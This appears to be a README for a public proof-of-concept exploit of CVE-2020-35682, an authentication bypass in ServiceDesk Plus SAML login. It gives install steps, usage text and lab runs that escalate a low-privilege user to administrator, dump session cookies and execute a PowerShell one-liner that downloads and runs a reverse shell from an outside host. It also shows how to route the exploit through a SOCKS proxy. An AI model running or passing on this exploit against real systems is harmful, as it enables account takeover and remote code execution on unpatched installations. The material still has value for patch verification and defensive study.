SD-91948: CVE-2020-35682: Authentication Bypass Vulnerability during SAML login in ServiceDesk Plus. (As described by ManageEngine). If the target ServiceDesk Plus (<11134) installation has SAML login enabled and you have credentials to a low privilege user then you can escalate to administrator and gain RCE.
I decided to release this POC since there is neither any public exploit nor much description available for exploiting said bug. The code is quite messy but it works.
git clone https://github.com/its-arun/CVE-2020-35682.git
cd CVE-2020-35682
pip3 install -r requirements.txt
chmod +x exploit.py┌─[✗]─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -h
usage: exploit.py [-h] -u URL -e EMAIL -p PASSWORD -d DOMAIN [-x PAYLOAD] [-a ADMINUSERNAME]
CVE-2020-35682 : Authentication Bypass Vulnerability during SAML login in ServiceDesk Plus
optional arguments:
-h, --help show this help message and exit
-x PAYLOAD, --payload PAYLOAD
Payload to execute on target, eg: "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1
-usebasicparsing)"
-a ADMINUSERNAME, --adminusername ADMINUSERNAME
Admin Username, default: administrator
required named arguments:
-u URL, --url URL ServiceDesk Plus installation url, eg. https://tenet.local/sdp
-e EMAIL, --email EMAIL
User E-mail for SAML Login, eg: [email protected]
-p PASSWORD, --password PASSWORD
User Password for SAML Login
-d DOMAIN, --domain DOMAIN
Domain, eg: TENET
┌─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -u "https://tenet.local/sdp" -e '[email protected]' -p 'P@ssw0rd' -d "TENET"
[+] Created session as administrator.
[+] Use following cookies to login as administrator
=[COOKIE NAME]= =[COOKIE VALUE]=
JSESSIONIDSSO E1D80C738E12085360A789109D43A233
PORTALID 1
SDPSESSIONID 918B7C63186055F72EAD2DEAC34B4CA9
┌─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -u "https://tenet.local/sdp" -e '[email protected]' -p 'P@ssw0rd' -d "TENET" -x "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1 -usebasicparsing)"
[+] Created session as administrator.
[+] Use following cookies to login as administrator
=[COOKIE NAME]= =[COOKIE VALUE]=
JSESSIONIDSSO 2316433DF39DFFE8ACD4E1DDD759D259
PORTALID 1
SDPSESSIONID 666788540DB6329CB7E59E1E96FF30EB
[+] Created custom trigger ADQRYN11WA6KEXIQ
[+] Created Request to trigger custom action ADQRYN11WA6KEXIQ
[+] Executed "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1 -usebasicparsing)" on "https://tenet.local/sdp"
[+] Deleted Request ADQRYN11WA6KEXIQ
[+] Deleted Custom Action ADQRYN11WA6KEXIQ
Proxies can be defined on line 9 in exploit.py in following format
proxies = {'http': 'socks4://127.0.0.1:9050','https': 'socks4://127.0.0.1:9050'}Or you can set proxy as environment variable if you don't wish to edit source
export HTTP_PROXY="socks4://127.0.0.1:9050"
export HTTPS_PROXY="socks4://127.0.0.1:9050"Make sure to unset these variables after running exploit.
unset HTTP_PROXY HTTPS_PROXY
React
Typescript
Django
Laravel
Facebook
Microsoft
Google
Alibaba
D3
Tencent